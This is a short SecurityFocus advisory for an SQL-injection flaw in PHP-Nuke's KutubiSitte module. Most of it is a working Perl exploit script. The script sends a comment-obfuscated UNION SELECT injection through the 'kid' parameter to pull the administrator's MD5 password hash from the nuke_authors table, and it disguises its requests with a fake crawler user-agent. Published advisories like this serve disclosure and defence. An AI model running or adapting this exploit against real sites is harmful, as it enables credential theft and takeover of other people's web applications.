source: http://www.securityfocus.com/bid/28126/info

The KutubiSitte module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

#!/usr/bin/perl use Getopt::Std;
use LWP::UserAgent;

sub usg{
printf("


  -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
  |  PHP-NUKE  KutubiSitte [kid]  =>  SQL Injection   |
  -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
 #######################################################
 # Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 #
 #######################################################
<-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->->
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
#:-------------------------------------------------------:#
:#|                    USAGE:                           |#:
:#| exploit.pl -h [Hostname] -p [Path] -U [User_Id]     |#:
#:-------------------------------------------------------:#
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
#:-------------------------------------------------------:#
:#|                   EXAMPLE:                          |#:
:#|  exploit.pl -h http://site.com -p /php-nuke/ -U 1   |#:
#:-------------------------------------------------------:#
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#


");
}
sub problem{
   print "\n\n[~] SITO NON VULNERABILE [~]\n\n";
   exit();
}
sub exploitation{
      $conn = LWP::UserAgent -> new;
   $conn->agent('Checkbot/0.4 ');
   $query_pwd =
$host.$path."modules.php?name=KutubiSitte&h_op=hadisgoster&kid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,4%2F%2A%2A%2Ffrom%2F%2A%2A%
2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D".$user_id."%2F%2A";
   $return_pwd = $conn->get($query_pwd) || problem();
   $return_pwd->content() =~ /([0-9,a-f]{32})/ || problem();
   print "\n \[~\] Admin Password(md5)=$user_id is: $1 \[~\]\n\n ";
  }

getopts(":h:p:U:",\%args);
    $host = $args{h} if (defined $args{h});
    $path = $args{p} if (defined $args{p});
    $user_id= $args{U}if (defined $args{U});
        if (!defined $args{h} || !defined $args{p} || !defined $args{U}){
       usg();
    }
    else{
       exploitation();
    }
